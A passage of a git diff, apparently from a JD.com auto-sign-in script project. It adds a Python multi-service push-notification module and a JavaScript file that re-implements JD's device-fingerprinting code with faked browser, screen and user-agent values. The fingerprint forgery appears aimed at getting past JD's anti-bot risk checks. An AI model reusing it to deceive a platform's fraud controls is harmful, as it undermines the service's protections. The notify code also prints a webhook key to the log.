SCKEY: + notify_mode.append('sc_key') + # print("Server酱 推送打开") +if TG_BOT_TOKEN and TG_USER_ID: + notify_mode.append('telegram_bot') + # print("Telegram 推送打开") +if DD_BOT_ACCESS_TOKEN and DD_BOT_SECRET: + notify_mode.append('dingding_bot') + # print("钉钉机器人 推送打开") +if QQ_SKEY and QQ_MODE: + notify_mode.append('coolpush_bot') + # print("QQ机器人 推送打开") + +if PUSH_PLUS_TOKEN: + notify_mode.append('pushplus_bot') + # print("微信推送Plus机器人 推送打开") +if QYWX_AM: + notify_mode.append('wecom_app') + # print("企业微信机器人 推送打开") + +if QYWX_KEY: + notify_mode.append('wecom_key') + # print("企业微信机器人 推送打开") + + +def message(str_msg): + global message_info + print(str_msg) + message_info = "{}\n{}".format(message_info, str_msg) + sys.stdout.flush() + +def bark(title, content): + print("\n") + if BARK: + try: + response = requests.get( + f"""https://api.day.app/{BARK}/{title}/{urllib.parse.quote_plus(content)}""").json() + if response['code'] == 200: + print('推送成功!') + else: + print('推送失败!') + except: + print('推送失败!') + if BARK_PUSH: + try: + response = requests.get( + f"""{BARK_PUSH}/{title}/{urllib.parse.quote_plus(content)}""").json() + if response['code'] == 200: + print('推送成功!') + else: + print('推送失败!') + except: + print('推送失败!') + print("bark服务启动") + if BARK=='' and BARK_PUSH=='': + print("bark服务的bark_token未设置!!\n取消推送") + return + +def serverJ(title, content): + print("\n") + if not SCKEY: + print("server酱服务的SCKEY未设置!!\n取消推送") + return + print("serverJ服务启动") + data = { + "text": title, + "desp": content.replace("\n", "\n\n") + } + response = requests.post(f"https://sc.ftqq.com/{SCKEY}.send", data=data).json() + if response['errno'] == 0: + print('推送成功!') + else: + print('推送失败!') + +# tg通知 +def telegram_bot(title, content): + try: + print("\n") + bot_token = TG_BOT_TOKEN + user_id = TG_USER_ID + if not bot_token or not user_id: + print("tg服务的bot_token或者user_id未设置!!\n取消推送") + return + print("tg服务启动") + if TG_API_HOST: + if 'http' in TG_API_HOST: + url = f"{TG_API_HOST}/bot{TG_BOT_TOKEN}/sendMessage" + else: + url = f"https://{TG_API_HOST}/bot{TG_BOT_TOKEN}/sendMessage" + else: + url = f"https://api.telegram.org/bot{TG_BOT_TOKEN}/sendMessage" + + headers = {'Content-Type': 'application/x-www-form-urlencoded'} + payload = {'chat_id': str(TG_USER_ID), 'text': f'{title}\n\n{content}', 'disable_web_page_preview': 'true'} + proxies = None + if TG_PROXY_IP and TG_PROXY_PORT: + proxyStr = "http://{}:{}".format(TG_PROXY_IP, TG_PROXY_PORT) + proxies = {"http": proxyStr, "https": proxyStr} + try: + response = requests.post(url=url, headers=headers, params=payload, proxies=proxies).json() + except: + print('推送失败!') + if response['ok']: + print('推送成功!') + else: + print('推送失败!') + except Exception as e: + print(e) + +def dingding_bot(title, content): + timestamp = str(round(time.time() * 1000)) # 时间戳 + secret_enc = DD_BOT_SECRET.encode('utf-8') + string_to_sign = '{}\n{}'.format(timestamp, DD_BOT_SECRET) + string_to_sign_enc = string_to_sign.encode('utf-8') + hmac_code = hmac.new(secret_enc, string_to_sign_enc, digestmod=hashlib.sha256).digest() + sign = urllib.parse.quote_plus(base64.b64encode(hmac_code)) # 签名 + print('开始使用 钉钉机器人 推送消息...', end='') + url = f'https://oapi.dingtalk.com/robot/send?access_token={DD_BOT_ACCESS_TOKEN}×tamp={timestamp}&sign={sign}' + headers = {'Content-Type': 'application/json;charset=utf-8'} + data = { + 'msgtype': 'text', + 'text': {'content': f'{title}\n\n{content}'} + } + response = requests.post(url=url, data=json.dumps(data), headers=headers, timeout=15).json() + if not response['errcode']: + print('推送成功!') + else: + print('推送失败!') + +def coolpush_bot(title, content): + print("\n") + if not QQ_SKEY or not QQ_MODE: + print("qq服务的QQ_SKEY或者QQ_MODE未设置!!\n取消推送") + return + print("qq服务启动") + url=f"https://qmsg.zendee.cn/{QQ_MODE}/{QQ_SKEY}" + payload = {'msg': f"{title}\n\n{content}".encode('utf-8')} + response = requests.post(url=url, params=payload).json() + if response['code'] == 0: + print('推送成功!') + else: + print('推送失败!') +# push推送 +def pushplus_bot(title, content): + try: + print("\n") + if not PUSH_PLUS_TOKEN: + print("PUSHPLUS服务的token未设置!!\n取消推送") + return + print("PUSHPLUS服务启动") + url = 'http://www.pushplus.plus/send' + data = { + "token": PUSH_PLUS_TOKEN, + "title": title, + "content": content + } + body = json.dumps(data).encode(encoding='utf-8') + headers = {'Content-Type': 'application/json'} + response = requests.post(url=url, data=body, headers=headers).json() + if response['code'] == 200: + print('推送成功!') + else: + print('推送失败!') + except Exception as e: + print(e) + + + +print("xxxxxxxxxxxx") +def wecom_key(title, content): + print("\n") + if not QYWX_KEY: + print("QYWX_KEY未设置!!\n取消推送") + return + print("QYWX_KEY服务启动") + print("content"+content) + headers = {'Content-Type': 'application/json'} + data = { + "msgtype":"text", + "text":{ + "content":title+"\n"+content.replace("\n", "\n\n") + } + } + + print(f"https://qyapi.weixin.qq.com/cgi-bin/webhook/send?key={QYWX_KEY}") + response = requests.post(f"https://qyapi.weixin.qq.com/cgi-bin/webhook/send?key={QYWX_KEY}", json=data,headers=headers).json() + print(response) + + +# 企业微信 APP 推送 +def wecom_app(title, content): + try: + if not QYWX_AM: + print("QYWX_AM 并未设置!!\n取消推送") + return + QYWX_AM_AY = re.split(',', QYWX_AM) + if 4 < len(QYWX_AM_AY) > 5: + print("QYWX_AM 设置错误!!\n取消推送") + return + corpid = QYWX_AM_AY[0] + corpsecret = QYWX_AM_AY[1] + touser = QYWX_AM_AY[2] + agentid = QYWX_AM_AY[3] + try: + media_id = QYWX_AM_AY[4] + except: + media_id = '' + wx = WeCom(corpid, corpsecret, agentid) + # 如果没有配置 media_id 默认就以 text 方式发送 + if not media_id: + message = title + '\n\n' + content + response = wx.send_text(message, touser) + else: + response = wx.send_mpnews(title, content, media_id, touser) + if response == 'ok': + print('推送成功!') + else: + print('推送失败!错误信息如下:\n', response) + except Exception as e: + print(e) + +class WeCom: + def __init__(self, corpid, corpsecret, agentid): + self.CORPID = corpid + self.CORPSECRET = corpsecret + self.AGENTID = agentid + + def get_access_token(self): + url = 'https://qyapi.weixin.qq.com/cgi-bin/gettoken' + values = {'corpid': self.CORPID, + 'corpsecret': self.CORPSECRET, + } + req = requests.post(url, params=values) + data = json.loads(req.text) + return data["access_token"] + + def send_text(self, message, touser="@all"): + send_url = 'https://qyapi.weixin.qq.com/cgi-bin/message/send?access_token=' + self.get_access_token() + send_values = { + "touser": touser, + "msgtype": "text", + "agentid": self.AGENTID, + "text": { + "content": message + }, + "safe": "0" + } + send_msges = (bytes(json.dumps(send_values), 'utf-8')) + respone = requests.post(send_url, send_msges) + respone = respone.json() + return respone["errmsg"] + + def send_mpnews(self, title, message, media_id, touser="@all"): + send_url = 'https://qyapi.weixin.qq.com/cgi-bin/message/send?access_token=' + self.get_access_token() + send_values = { + "touser": touser, + "msgtype": "mpnews", + "agentid": self.AGENTID, + "mpnews": { + "articles": [ + { + "title": title, + "thumb_media_id": media_id, + "author": "Author", + "content_source_url": "", + "content": message.replace('\n', '
'), + "digest": message + } + ] + } + } + send_msges = (bytes(json.dumps(send_values), 'utf-8')) + respone = requests.post(send_url, send_msges) + respone = respone.json() + return respone["errmsg"] + +def send(title, content): + """ + 使用 bark, telegram bot, dingding bot, serverJ 发送手机推送 + :param title: + :param content: + :return: + """ + + for i in notify_mode: + if i == 'bark': + if BARK or BARK_PUSH: + bark(title=title, content=content) + else: + print('未启用 bark') + continue + if i == 'sc_key': + if SCKEY: + serverJ(title=title, content=content) + else: + print('未启用 Server酱') + continue + elif i == 'dingding_bot': + if DD_BOT_ACCESS_TOKEN and DD_BOT_SECRET: + dingding_bot(title=title, content=content) + else: + print('未启用 钉钉机器人') + continue + elif i == 'telegram_bot': + if TG_BOT_TOKEN and TG_USER_ID: + telegram_bot(title=title, content=content) + else: + print('未启用 telegram机器人') + continue + elif i == 'coolpush_bot': + if QQ_SKEY and QQ_MODE: + coolpush_bot(title=title, content=content) + else: + print('未启用 QQ机器人') + continue + elif i == 'pushplus_bot': + if PUSH_PLUS_TOKEN: + pushplus_bot(title=title, content=content) + else: + print('未启用 PUSHPLUS机器人') + continue + elif i == 'wecom_app': + if QYWX_AM: + wecom_app(title=title, content=content) + else: + print('未启用企业微信应用消息推送') + continue + elif i == 'wecom_key': + if QYWX_KEY: + + for i in range(int(len(content)/2000)+1): + wecom_key(title=title, content=content[i*2000:(i+1)*2000]) + + + else: + print('未启用企业微信应用消息推送') + continue + else: + print('此类推送方式不存在') + + +def main(): + send('title', 'content') + + +if __name__ == '__main__': + main() \ No newline at end of file diff --git a/sign_graphics_validate.js b/sign_graphics_validate.js new file mode 100644 index 0000000..675729f --- /dev/null +++ b/sign_graphics_validate.js @@ -0,0 +1,2085 @@ +const navigator = { + userAgent: `jdapp;iPhone;10.1.0;14.3;${randomString(40)};network/wifi;model/iPhone12,1;addressid/4199175193;appBuild/167774;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, + plugins: { length: 0 }, + language: "zh-CN", +}; +function randomString(e) { + e = e || 32; + let t = "abcdef0123456789", a = t.length, n = ""; + for (i = 0; i < e; i++) + n += t.charAt(Math.floor(Math.random() * a)); + return n +} +const screen = { + availHeight: 812, + availWidth: 375, + colorDepth: 24, + height: 812, + width: 375, + pixelDepth: 24, + +} +const window = { + +} +const document = { + location: { + "ancestorOrigins": {}, + "href": "https://prodev.m.jd.com/mall/active/3BbAVGQPDd6vTyHYjmAutXrKAos6/index.html", + "origin": "https://prodev.m.jd.com", + "protocol": "https:", + "host": "prodev.m.jd.com", + "hostname": "prodev.m.jd.com", + "port": "", + "pathname": "/mall/active/3BbAVGQPDd6vTyHYjmAutXrKAos6/index.html", + "search": "", + "hash": "" + } +}; +var start_time = (new Date).getTime(), + _jdfp_canvas_md5 = "", + _jdfp_webgl_md5 = "", + _fingerprint_step = 1, + _JdEid = "", + _eidFlag = !1, + risk_jd_local_fingerprint = "", + _jd_e_joint_; + + function t(a) { + if (null == a || void 0 == a || "" == a) return "NA"; + if (null == a || void 0 == a || "" == a) var b = ""; + else { + b = []; + for (var c = 0; c < 8 * a.length; c += 8) b[c >> 5] |= (a.charCodeAt(c / 8) & 255) << c % 32 + } + a = 8 * a.length; + b[a >> 5] |= 128 << a % 32; + b[(a + 64 >>> 9 << 4) + 14] = a; + a = 1732584193; + c = -271733879; + for (var l = -1732584194, h = 271733878, q = 0; q < b.length; q += 16) { + var z = a, + C = c, + D = l, + B = h; + a = v(a, c, l, h, b[q + 0], 7, -680876936); + h = v(h, a, c, l, b[q + 1], 12, -389564586); + l = v(l, h, a, c, b[q + 2], 17, 606105819); + c = v(c, l, h, a, b[q + 3], 22, -1044525330); + a = v(a, c, l, h, b[q + 4], 7, -176418897); + h = v(h, a, c, l, b[q + 5], 12, 1200080426); + l = v(l, h, a, c, b[q + 6], 17, -1473231341); + c = v(c, l, h, a, b[q + 7], 22, -45705983); + a = v(a, c, l, h, b[q + 8], 7, 1770035416); + h = v(h, a, c, l, b[q + 9], 12, -1958414417); + l = v(l, h, a, c, b[q + 10], 17, -42063); + c = v(c, l, h, a, b[q + 11], 22, -1990404162); + a = v(a, c, l, h, b[q + 12], 7, 1804603682); + h = v(h, a, c, l, b[q + 13], 12, -40341101); + l = v(l, h, a, c, b[q + 14], 17, -1502002290); + c = v(c, l, h, a, b[q + 15], 22, 1236535329); + a = x(a, c, l, h, b[q + 1], 5, -165796510); + h = x(h, a, c, l, b[q + 6], 9, -1069501632); + l = x(l, h, a, c, b[q + 11], 14, 643717713); + c = x(c, l, h, a, b[q + 0], 20, -373897302); + a = x(a, c, l, h, b[q + 5], 5, -701558691); + h = x(h, a, c, l, b[q + 10], 9, 38016083); + l = x(l, h, a, c, b[q + 15], 14, -660478335); + c = x(c, l, h, a, b[q + 4], 20, -405537848); + a = x(a, c, l, h, b[q + 9], 5, 568446438); + h = x(h, a, c, l, b[q + 14], 9, -1019803690); + l = x(l, h, a, c, b[q + 3], 14, -187363961); + c = x(c, l, h, a, b[q + 8], 20, 1163531501); + a = x(a, c, l, h, b[q + 13], 5, -1444681467); + h = x(h, a, c, l, b[q + 2], 9, -51403784); + l = x(l, h, a, c, b[q + 7], 14, 1735328473); + c = x(c, l, h, a, b[q + 12], 20, -1926607734); + a = u(c ^ l ^ h, a, c, b[q + 5], 4, -378558); + h = u(a ^ c ^ l, h, a, b[q + 8], 11, -2022574463); + l = u(h ^ a ^ c, l, h, b[q + 11], 16, 1839030562); + c = u(l ^ h ^ a, c, l, b[q + 14], 23, -35309556); + a = u(c ^ l ^ h, a, c, b[q + 1], 4, -1530992060); + h = u(a ^ c ^ l, h, a, b[q + 4], 11, 1272893353); + l = u(h ^ a ^ c, l, h, b[q + 7], 16, -155497632); + c = u(l ^ h ^ a, c, l, b[q + 10], 23, -1094730640); + a = u(c ^ l ^ h, a, c, b[q + 13], 4, 681279174); + h = u(a ^ c ^ l, h, a, b[q + 0], 11, -358537222); + l = u(h ^ a ^ c, l, h, b[q + 3], 16, -722521979); + c = u(l ^ h ^ a, c, l, b[q + 6], 23, 76029189); + a = u(c ^ l ^ h, a, c, b[q + 9], 4, -640364487); + h = u(a ^ c ^ l, h, a, b[q + 12], 11, -421815835); + l = u(h ^ a ^ c, l, h, b[q + 15], 16, 530742520); + c = u(l ^ h ^ a, c, l, b[q + 2], 23, -995338651); + a = w(a, c, l, h, b[q + 0], 6, -198630844); + h = w(h, a, c, l, b[q + 7], 10, 1126891415); + l = w(l, h, a, c, b[q + 14], 15, -1416354905); + c = w(c, l, h, a, b[q + 5], 21, -57434055); + a = w(a, c, l, h, b[q + 12], 6, 1700485571); + h = w(h, a, c, l, b[q + 3], 10, -1894986606); + l = w(l, h, a, c, b[q + 10], 15, -1051523); + c = w(c, l, h, a, b[q + 1], 21, -2054922799); + a = w(a, c, l, h, b[q + 8], 6, 1873313359); + h = w(h, a, c, l, b[q + 15], 10, -30611744); + l = w(l, h, a, c, b[q + 6], 15, -1560198380); + c = w(c, l, h, a, b[q + 13], 21, 1309151649); + a = w(a, c, l, h, b[q + 4], 6, -145523070); + h = w(h, a, c, l, b[q + 11], 10, -1120210379); + l = w(l, h, a, c, b[q + 2], 15, 718787259); + c = w(c, l, h, a, b[q + 9], 21, -343485551); + a = A(a, z); + c = A(c, C); + l = A(l, D); + h = A(h, B) + } + b = [a, c, l, h]; + a = ""; + for (c = 0; c < 4 * b.length; c++) a += "0123456789abcdef".charAt(b[c >> 2] >> c % 4 * 8 + 4 & 15) + + "0123456789abcdef".charAt(b[c >> 2] >> c % 4 * 8 & 15); + return a + } + function u(a, b, c, l, h, q) { + a = A(A(b, a), A(l, q)); + return A(a << h | a >>> 32 - h, c) + } + + function v(a, b, c, l, h, q, z) { + return u(b & c | ~b & l, a, b, h, q, z) + } + + function x(a, b, c, l, h, q, z) { + return u(b & l | c & ~l, a, b, h, q, z) + } + + function w(a, b, c, l, h, q, z) { + return u(c ^ (b | ~l), a, b, h, q, z) + } + + function A(a, b) { + var c = (a & 65535) + (b & 65535); + return (a >> 16) + (b >> 16) + (c >> 16) << 16 | c & 65535 + } + _fingerprint_step = 2; + var y = "", + n = navigator.userAgent.toLowerCase(); + n.indexOf("jdapp") && (n = n.substring(0, 90)); + var e = navigator.language, + f = n; - 1 != f.indexOf("ipad") || -1 != f.indexOf("iphone os") || -1 != f.indexOf("midp") || -1 != f.indexOf( + "rv:1.2.3.4") || -1 != f.indexOf("ucweb") || -1 != f.indexOf("android") || -1 != f.indexOf("windows ce") || + f.indexOf("windows mobile"); + var r = "NA", + k = "NA"; + try { + -1 != f.indexOf("win") && -1 != f.indexOf("95") && (r = "windows", k = "95"), -1 != f.indexOf("win") && -1 != + f.indexOf("98") && (r = "windows", k = "98"), -1 != f.indexOf("win 9x") && -1 != f.indexOf("4.90") && ( + r = "windows", k = "me"), -1 != f.indexOf("win") && -1 != f.indexOf("nt 5.0") && (r = "windows", k = + "2000"), -1 != f.indexOf("win") && -1 != f.indexOf("nt") && (r = "windows", k = "NT"), -1 != f.indexOf( + "win") && -1 != f.indexOf("nt 5.1") && (r = "windows", k = "xp"), -1 != f.indexOf("win") && -1 != f + .indexOf("32") && (r = "windows", k = "32"), -1 != f.indexOf("win") && -1 != f.indexOf("nt 5.1") && (r = + "windows", k = "7"), -1 != f.indexOf("win") && -1 != f.indexOf("6.0") && (r = "windows", k = "8"), + -1 == f.indexOf("win") || -1 == f.indexOf("nt 6.0") && -1 == f.indexOf("nt 6.1") || (r = "windows", k = + "9"), -1 != f.indexOf("win") && -1 != f.indexOf("nt 6.2") && (r = "windows", k = "10"), -1 != f.indexOf( + "linux") && (r = "linux"), -1 != f.indexOf("unix") && (r = "unix"), -1 != f.indexOf("sun") && -1 != + f.indexOf("os") && (r = "sun os"), -1 != f.indexOf("ibm") && -1 != f.indexOf("os") && (r = "ibm os/2"), + -1 != f.indexOf("mac") && -1 != f.indexOf("pc") && (r = "mac"), -1 != f.indexOf("aix") && (r = "aix"), + -1 != f.indexOf("powerpc") && (r = "powerPC"), -1 != f.indexOf("hpux") && (r = "hpux"), -1 != f.indexOf( + "netbsd") && (r = "NetBSD"), -1 != f.indexOf("bsd") && (r = "BSD"), -1 != f.indexOf("osf1") && (r = + "OSF1"), -1 != f.indexOf("irix") && (r = "IRIX", k = ""), -1 != f.indexOf("freebsd") && (r = + "FreeBSD"), -1 != f.indexOf("symbianos") && (r = "SymbianOS", k = f.substring(f.indexOf( + "SymbianOS/") + 10, 3)) + } catch (a) { } + _fingerprint_step = 3; + var g = "NA", + m = "NA"; + try { + -1 != f.indexOf("msie") && (g = "ie", m = f.substring(f.indexOf("msie ") + 5), m.indexOf(";") && (m = m.substring( + 0, m.indexOf(";")))); - 1 != f.indexOf("firefox") && (g = "Firefox", m = f.substring(f.indexOf( + "firefox/") + 8)); - 1 != f.indexOf("opera") && (g = "Opera", m = f.substring(f.indexOf("opera/") + 6, + 4)); - 1 != f.indexOf("safari") && (g = "safari", m = f.substring(f.indexOf("safari/") + 7)); - 1 != f.indexOf( + "chrome") && (g = "chrome", m = f.substring(f.indexOf("chrome/") + 7), m.indexOf(" ") && (m = m.substring( + 0, m.indexOf(" ")))); - 1 != f.indexOf("navigator") && (g = "navigator", m = f.substring(f.indexOf( + "navigator/") + 10)); - 1 != f.indexOf("applewebkit") && (g = "applewebkit_chrome", m = f.substring(f.indexOf( + "applewebkit/") + 12), m.indexOf(" ") && (m = m.substring(0, m.indexOf(" ")))); - 1 != f.indexOf( + "sogoumobilebrowser") && (g = "\u641c\u72d7\u624b\u673a\u6d4f\u89c8\u5668"); + if (-1 != f.indexOf("ucbrowser") || -1 != f.indexOf("ucweb")) g = "UC\u6d4f\u89c8\u5668"; + if (-1 != f.indexOf("qqbrowser") || -1 != f.indexOf("tencenttraveler")) g = "QQ\u6d4f\u89c8\u5668"; - 1 != + f.indexOf("metasr") && (g = "\u641c\u72d7\u6d4f\u89c8\u5668"); - 1 != f.indexOf("360se") && (g = + "360\u6d4f\u89c8\u5668"); - 1 != f.indexOf("the world") && (g = + "\u4e16\u754c\u4e4b\u7a97\u6d4f\u89c8\u5668"); - 1 != f.indexOf("maxthon") && (g = + "\u9068\u6e38\u6d4f\u89c8\u5668") + } catch (a) { } + + +class JdJrTdRiskFinger { + f = { + options: function (){ + return {} + }, + nativeForEach: Array.prototype.forEach, + nativeMap: Array.prototype.map, + extend: function (a, b) { + if (null == a) return b; + for (var c in a) null != a[c] && b[c] !== a[c] && (b[c] = a[c]); + return b + }, + getData: function () { + return y + }, + get: function (a) { + var b = 1 * m, + c = []; + "ie" == g && 7 <= b ? (c.push(n), c.push(e), y = y + ",'userAgent':'" + t(n) + "','language':'" + + e + "'", this.browserRedirect(n)) : (c = this.userAgentKey(c), c = this.languageKey(c)); + c.push(g); + c.push(m); + c.push(r); + c.push(k); + y = y + ",'os':'" + r + "','osVersion':'" + k + "','browser':'" + g + "','browserVersion':'" + + m + "'"; + c = this.colorDepthKey(c); + c = this.screenResolutionKey(c); + c = this.timezoneOffsetKey(c); + c = this.sessionStorageKey(c); + c = this.localStorageKey(c); + c = this.indexedDbKey(c); + c = this.addBehaviorKey(c); + c = this.openDatabaseKey(c); + c = this.cpuClassKey(c); + c = this.platformKey(c); + c = this.hardwareConcurrencyKey(c); + c = this.doNotTrackKey(c); + c = this.pluginsKey(c); + c = this.canvasKey(c); + c = this.webglKey(c); + b = this.x64hash128(c.join("~~~"), 31); + return a(b) + }, + userAgentKey: function (a) { + a.push(navigator.userAgent), y = y + ",'userAgent':'" + t( + navigator.userAgent) + "'", this.browserRedirect(navigator.userAgent); + return a + }, + replaceAll: function (a, b, c) { + for (; 0 <= a.indexOf(b);) a = a.replace(b, c); + return a + }, + browserRedirect: function (a) { + var b = a.toLowerCase(); + a = "ipad" == b.match(/ipad/i); + var c = "iphone os" == b.match(/iphone os/i), + l = "midp" == b.match(/midp/i), + h = "rv:1.2.3.4" == b.match(/rv:1.2.3.4/i), + q = "ucweb" == b.match(/ucweb/i), + z = "android" == b.match(/android/i), + C = "windows ce" == b.match(/windows ce/i); + b = "windows mobile" == b.match(/windows mobile/i); + y = a || c || l || h || q || z || C || b ? y + ",'origin':'mobile'" : y + ",'origin':'pc'" + }, + languageKey: function (a) { + '' || (a.push(navigator.language), y = y + ",'language':'" + this.replaceAll( + navigator.language, " ", "_") + "'"); + return a + }, + colorDepthKey: function (a) { + '' || (a.push(screen.colorDepth), y = y + ",'colorDepth':'" + + screen.colorDepth + "'"); + return a + }, + screenResolutionKey: function (a) { + if (!this.options.excludeScreenResolution) { + var b = this.getScreenResolution(); + "undefined" !== typeof b && (a.push(b.join("x")), y = y + ",'screenResolution':'" + b.join( + "x") + "'") + } + return a + }, + getScreenResolution: function () { + return this.options.detectScreenOrientation ? screen.height > screen.width ? [screen.height, + screen.width] : [screen.width, screen.height] : [screen.height, screen.width] + }, + timezoneOffsetKey: function (a) { + this.options.excludeTimezoneOffset || (a.push((new Date).getTimezoneOffset()), y = y + + ",'timezoneOffset':'" + (new Date).getTimezoneOffset() / 60 + "'"); + return a + }, + sessionStorageKey: function (a) { + !this.options.excludeSessionStorage && this.hasSessionStorage() && (a.push("sessionStorageKey"), + y += ",'sessionStorage':true"); + return a + }, + localStorageKey: function (a) { + !this.options.excludeSessionStorage && this.hasLocalStorage() && (a.push("localStorageKey"), y += + ",'localStorage':true"); + return a + }, + indexedDbKey: function (a) { + !this.options.excludeIndexedDB && this.hasIndexedDB() && (a.push("indexedDbKey"), y += + ",'indexedDb':true"); + return a + }, + addBehaviorKey: function (a) { + document.body && !this.options.excludeAddBehavior && document.body.addBehavior ? (a.push( + "addBehaviorKey"), y += ",'addBehavior':true") : y += ",'addBehavior':false"; + return a + }, + openDatabaseKey: function (a) { + !this.options.excludeOpenDatabase && window.openDatabase ? (a.push("openDatabase"), y += + ",'openDatabase':true") : y += ",'openDatabase':false"; + return a + }, + cpuClassKey: function (a) { + this.options.excludeCpuClass || (a.push(this.getNavigatorCpuClass()), y = y + ",'cpu':'" + this + .getNavigatorCpuClass() + "'"); + return a + }, + platformKey: function (a) { + this.options.excludePlatform || (a.push(this.getNavigatorPlatform()), y = y + ",'platform':'" + + this.getNavigatorPlatform() + "'"); + return a + }, + hardwareConcurrencyKey: function (a) { + var b = this.getHardwareConcurrency(); + a.push(b); + y = y + ",'ccn':'" + b + "'"; + return a + }, + doNotTrackKey: function (a) { + this.options.excludeDoNotTrack || (a.push(this.getDoNotTrack()), y = y + ",'track':'" + this.getDoNotTrack() + + "'"); + return a + }, + canvasKey: function (a) { + if (!this.options.excludeCanvas && this.isCanvasSupported()) { + var b = this.getCanvasFp(); + a.push(b); + _jdfp_canvas_md5 = t(b); + y = y + ",'canvas':'" + _jdfp_canvas_md5 + "'" + } + return a + }, + webglKey: function (a) { + if (!this.options.excludeWebGL && this.isCanvasSupported()) { + var b = this.getWebglFp(); + _jdfp_webgl_md5 = t(b); + a.push(b); + y = y + ",'webglFp':'" + _jdfp_webgl_md5 + "'" + } + return a + }, + pluginsKey: function (a) { + this.isIE() ? (a.push(this.getIEPluginsString()), y = y + ",'plugins':'" + t(this.getIEPluginsString()) + + "'") : (a.push(this.getRegularPluginsString()), y = y + ",'plugins':'" + t(this.getRegularPluginsString()) + + "'"); + return a + }, + getRegularPluginsString: function () { + return this.map(navigator.plugins, function (a) { + var b = this.map(a, function (c) { + return [c.type, c.suffixes].join("~") + }).join(","); + return [a.name, a.description, b].join("::") + }, this).join(";") + }, + getIEPluginsString: function () { + return window.ActiveXObject ? this.map( + "AcroPDF.PDF;Adodb.Stream;AgControl.AgControl;DevalVRXCtrl.DevalVRXCtrl.1;MacromediaFlashPaper.MacromediaFlashPaper;Msxml2.DOMDocument;Msxml2.XMLHTTP;PDF.PdfCtrl;QuickTime.QuickTime;QuickTimeCheckObject.QuickTimeCheck.1;RealPlayer;RealPlayer.RealPlayer(tm) ActiveX Control (32-bit);RealVideo.RealVideo(tm) ActiveX Control (32-bit);Scripting.Dictionary;SWCtl.SWCtl;Shell.UIHelper;ShockwaveFlash.ShockwaveFlash;Skype.Detection;TDCCtl.TDCCtl;WMPlayer.OCX;rmocx.RealPlayer G2 Control;rmocx.RealPlayer G2 Control.1" + .split(";"), + function (a) { + try { + return new ActiveXObject(a), a + } catch (b) { + return null + } + }).join(";") : "" + }, + hasSessionStorage: function () { + try { + return !!window.sessionStorage + } catch (a) { + return !0 + } + }, + hasLocalStorage: function () { + try { + return !!window.localStorage + } catch (a) { + return !0 + } + }, + hasIndexedDB: function () { + return true + return !!window.indexedDB + }, + getNavigatorCpuClass: function () { + return navigator.cpuClass ? navigator.cpuClass : "NA" + }, + getNavigatorPlatform: function () { + return navigator.platform ? navigator.platform : "NA" + }, + getHardwareConcurrency: function () { + return navigator.hardwareConcurrency ? navigator.hardwareConcurrency : "NA" + }, + getDoNotTrack: function () { + return navigator.doNotTrack ? navigator.doNotTrack : "NA" + }, + getCanvasFp: function () { + return ''; + var a = navigator.userAgent.toLowerCase(); + if ((0 < a.indexOf("jdjr-app") || 0 <= a.indexOf("jdapp")) && (0 < a.indexOf("iphone") || 0 < a + .indexOf("ipad"))) return null; + a = document.createElement("canvas"); + var b = a.getContext("2d"); + b.fillStyle = "red"; + b.fillRect(30, 10, 200, 100); + b.strokeStyle = "#1a3bc1"; + b.lineWidth = 6; + b.lineCap = "round"; + b.arc(50, 50, 20, 0, Math.PI, !1); + b.stroke(); + b.fillStyle = "#42e1a2"; + b.font = "15.4px 'Arial'"; + b.textBaseline = "alphabetic"; + b.fillText("PR flacks quiz gym: TV DJ box when? \u2620", 15, 60); + b.shadowOffsetX = 1; + b.shadowOffsetY = 2; + b.shadowColor = "white"; + b.fillStyle = "rgba(0, 0, 200, 0.5)"; + b.font = "60px 'Not a real font'"; + b.fillText("No\u9a97", 40, 80); + return a.toDataURL() + }, + getWebglFp: function () { + var a = navigator.userAgent; + a = a.toLowerCase(); + if ((0 < a.indexOf("jdjr-app") || 0 <= a.indexOf("jdapp")) && (0 < a.indexOf("iphone") || 0 < a + .indexOf("ipad"))) return null; + a = function (D) { + b.clearColor(0, 0, 0, 1); + b.enable(b.DEPTH_TEST); + b.depthFunc(b.LEQUAL); + b.clear(b.COLOR_BUFFER_BIT | b.DEPTH_BUFFER_BIT); + return "[" + D[0] + ", " + D[1] + "]" + }; + var b = this.getWebglCanvas(); + if (!b) return null; + var c = [], + l = b.createBuffer(); + b.bindBuffer(b.ARRAY_BUFFER, l); + var h = new Float32Array([-.2, -.9, 0, .4, -.26, 0, 0, .732134444, 0]); + b.bufferData(b.ARRAY_BUFFER, h, b.STATIC_DRAW); + l.itemSize = 3; + l.numItems = 3; + h = b.createProgram(); + var q = b.createShader(b.VERTEX_SHADER); + b.shaderSource(q, + "attribute vec2 attrVertex;varying vec2 varyinTexCoordinate;uniform vec2 uniformOffset;void main(){varyinTexCoordinate=attrVertex+uniformOffset;gl_Position=vec4(attrVertex,0,1);}" + ); + b.compileShader(q); + var z = b.createShader(b.FRAGMENT_SHADER); + b.shaderSource(z, + "precision mediump float;varying vec2 varyinTexCoordinate;void main() {gl_FragColor=vec4(varyinTexCoordinate,0,1);}" + ); + b.compileShader(z); + b.attachShader(h, q); + b.attachShader(h, z); + b.linkProgram(h); + b.useProgram(h); + h.vertexPosAttrib = b.getAttribLocation(h, "attrVertex"); + h.offsetUniform = b.getUniformLocation(h, "uniformOffset"); + b.enableVertexAttribArray(h.vertexPosArray); + b.vertexAttribPointer(h.vertexPosAttrib, l.itemSize, b.FLOAT, !1, 0, 0); + b.uniform2f(h.offsetUniform, 1, 1); + b.drawArrays(b.TRIANGLE_STRIP, 0, l.numItems); + null != b.canvas && c.push(b.canvas.toDataURL()); + c.push("extensions:" + b.getSupportedExtensions().join(";")); + c.push("extensions:" + b.getSupportedExtensions().join(";")); + c.push("w1" + a(b.getParameter(b.ALIASED_LINE_WIDTH_RANGE))); + c.push("w2" + a(b.getParameter(b.ALIASED_POINT_SIZE_RANGE))); + c.push("w3" + b.getParameter(b.ALPHA_BITS)); + c.push("w4" + (b.getContextAttributes().antialias ? "yes" : "no")); + c.push("w5" + b.getParameter(b.BLUE_BITS)); + c.push("w6" + b.getParameter(b.DEPTH_BITS)); + c.push("w7" + b.getParameter(b.GREEN_BITS)); + c.push("w8" + function (D) { + var B, F = D.getExtension("EXT_texture_filter_anisotropic") || D.getExtension( + "WEBKIT_EXT_texture_filter_anisotropic") || D.getExtension( + "MOZ_EXT_texture_filter_anisotropic"); + return F ? (B = 